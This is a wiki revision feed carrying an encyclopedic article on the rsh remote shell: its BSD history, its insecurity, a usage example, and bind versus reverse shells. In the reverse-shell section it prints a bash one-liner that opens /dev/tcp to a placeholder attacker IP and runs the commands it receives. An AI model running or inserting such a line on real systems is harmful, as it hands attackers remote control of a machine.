<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.sarg.dev/index.php?action=history&amp;feed=atom&amp;title=Remote_Shell</id>
	<title>Remote Shell - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.sarg.dev/index.php?action=history&amp;feed=atom&amp;title=Remote_Shell"/>
	<link rel="alternate" type="text/html" href="https://wiki.sarg.dev/index.php?title=Remote_Shell&amp;action=history"/>
	<updated>2026-10-06T14:23:57Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.44.2</generator>
	<entry>
		<id>https://wiki.sarg.dev/index.php?title=Remote_Shell&amp;diff=767262&amp;oldid=prev</id>
		<title>imported&gt;Cynthia2048: remove installation method</title>
		<link rel="alternate" type="text/html" href="https://wiki.sarg.dev/index.php?title=Remote_Shell&amp;diff=767262&amp;oldid=prev"/>
		<updated>2025-09-13T14:39:33Z</updated>

		<summary type="html">&lt;p&gt;remove installation method&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Short description|Command-line program}}&lt;br /&gt;
{{refimprove|date=April 2014}}&lt;br /&gt;
{{Infobox software&lt;br /&gt;
| name                   = remote shell (rsh)&lt;br /&gt;
| logo                   = &lt;br /&gt;
| screenshot             = &lt;br /&gt;
| screenshot size        = &lt;br /&gt;
| caption                = &lt;br /&gt;
| developer              = &lt;br /&gt;
| released               = {{Start date and age|1983}}&lt;br /&gt;
| latest release version = &lt;br /&gt;
| latest release date    = &lt;br /&gt;
| repo                   = &lt;br /&gt;
| programming language   = [[C (programming language)|C]]&lt;br /&gt;
| operating system       = [[Cross-platform]]&lt;br /&gt;
| genre                  = &lt;br /&gt;
| license                = &lt;br /&gt;
| website                = &lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
The &amp;#039;&amp;#039;&amp;#039;remote shell&amp;#039;&amp;#039;&amp;#039; (&amp;#039;&amp;#039;&amp;#039;rsh&amp;#039;&amp;#039;&amp;#039;) is a [[command-line interface|command-line]] [[computer program]] that can execute [[Command-line interface|shell command]]s as another [[User (computing)|user]], and on another computer across a [[computer network]].&lt;br /&gt;
&lt;br /&gt;
The remote system to which &amp;#039;&amp;#039;rsh&amp;#039;&amp;#039; connects runs the &amp;#039;&amp;#039;rsh&amp;#039;&amp;#039; [[Daemon (computing)|daemon]] (rshd). The daemon typically uses the [[Well-known ports|well-known]] [[Transmission Control Protocol]] (TCP) [[Port (computer networking)|port number]] 514.&lt;br /&gt;
&lt;br /&gt;
==History==&lt;br /&gt;
{{Main|Berkeley r-commands}}&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;Rsh&amp;#039;&amp;#039; originated as part of the [[Berkeley Software Distribution|BSD Unix]] [[operating system]], along with [[rcp (Unix)|rcp]], as part of the [[rlogin]] package on 4.2BSD in 1983. rsh has since been ported to other operating systems. &lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;rsh&amp;lt;/code&amp;gt; command has the same name as another common UNIX utility, the [[restricted shell]], which first appeared in [[PWB/UNIX]]; in [[System V|System V Release 4]], the restricted shell is often located at &amp;lt;code&amp;gt;/usr/bin/rsh&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
As other [[Berkeley r-commands#Security|Berkeley r-commands]] which involve user authentication, the rsh [[communication protocol|protocol]] is not [[computer security|secure]] for network use, because it sends [[cryptography|unencrypted information]] over the network, among other reasons. Some implementations also [[authentication|authenticate]] by sending unencrypted [[password]]s over the network. rsh has largely been replaced with the [[Secure Shell|secure shell]] (ssh) program, even on local networks.&amp;lt;ref&amp;gt;{{Cite web |title=SSH, the Secure Shell: The Definitive Guide |url=https://www.researchgate.net/publication/234765974 |access-date=2023-11-11 |work=www.researchgate.net |archive-date=2023-11-11 |archive-url=https://web.archive.org/web/20231111073413/https://www.researchgate.net/publication/234765974_SSH_the_Secure_Shell_The_Definitive_Guide |url-status=live }}&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;{{Cite web |title=Secure Shell Protocol – Everything you need to know |url=https://dev.to/me_jessicahowe/secure-shell-protocol-everything-you-need-to-know-5g5j |access-date=2023-11-11 |work=dev.to|date=28 November 2022 }}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Example==&lt;br /&gt;
As an example of rsh use, the following executes the command &amp;#039;&amp;#039;mkdir testdir&amp;#039;&amp;#039; as user &amp;#039;&amp;#039;remoteuser&amp;#039;&amp;#039; on the computer &amp;#039;&amp;#039;host.example.com&amp;#039;&amp;#039; running a UNIX-like system:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;console&amp;quot;&amp;gt;&lt;br /&gt;
$ rsh -l remoteuser host.example.com &amp;quot;mkdir testdir&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using [[rlogin]]. The network location of the remote computer is looked up using the [[Domain Name System]].&lt;br /&gt;
&lt;br /&gt;
== Bind shell and reverse shell ==&lt;br /&gt;
{{See also|Shell shoveling}}&lt;br /&gt;
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed).&amp;lt;ref&amp;gt;{{Cite web|title=Secure Shell (SSH)|url=https://www.techtarget.com/searchsecurity/definition/Secure-Shell|access-date=2023-11-11|work=www.techtarget.com|archive-date=2023-11-11|archive-url=https://web.archive.org/web/20231111073413/https://www.techtarget.com/searchsecurity/definition/Secure-Shell|url-status=live}}&amp;lt;/ref&amp;gt; In the first case remote shell will be called bind shell, in the second case - reverse shell.&amp;lt;ref&amp;gt;{{Cite web|title=Difference Between Bind Shell and Reverse Shell|url=https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/|access-date=2023-11-11|work=www.geeksforgeeks.org|date=14 December 2021 |archive-date=2023-11-11|archive-url=https://web.archive.org/web/20231111073414/https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/|url-status=live}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Reverse shell can be used when the device on which the command is to be executed is not directly accessible - for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called &amp;quot;reverse shell attack&amp;quot;). The following code demonstrates a reverse shell attack:&amp;lt;ref&amp;gt;{{Cite web |title=What is a Reverse Shell? |url=https://sysdig.com/learn-cloud-native/detection-and-response/what-is-a-reverse-shell/ |access-date=2023-11-28 |website=Sysdig |language=en-US |archive-date=2023-11-28 |archive-url=https://web.archive.org/web/20231128061929/https://sysdig.com/learn-cloud-native/detection-and-response/what-is-a-reverse-shell/ |url-status=live }}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;console&amp;quot;&amp;gt;&lt;br /&gt;
$ exec 5&amp;lt;&amp;gt;/dev/tcp/&amp;lt;attacker_IP&amp;gt;/80;cat &amp;lt;&amp;amp;5 | while read line; do \$line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;It opens a TCP socket to attacker IP at port 80 as a [[file descriptor]]. It then repeatedly read lines from the socket and run the line, piping both [[Standard streams|stdout and stderr]] back to the socket. In other words, it gives the attacker a remote shell on the machine.&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
*[[Berkeley r-commands]]&lt;br /&gt;
*[[Secure Shell|secure shell]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
*[https://web.archive.org/web/20041205190819/http://unixhelp.ed.ac.uk/CGI/man-cgi?rsh rsh - remote shell] - rsh [[man page]].&lt;br /&gt;
*{{man|1|rsh|Darwin|remote shell}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Internet protocols]]&lt;br /&gt;
[[Category:OS/2 commands]]&lt;br /&gt;
[[Category:Unix network-related software]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Cynthia2048</name></author>
	</entry>
</feed>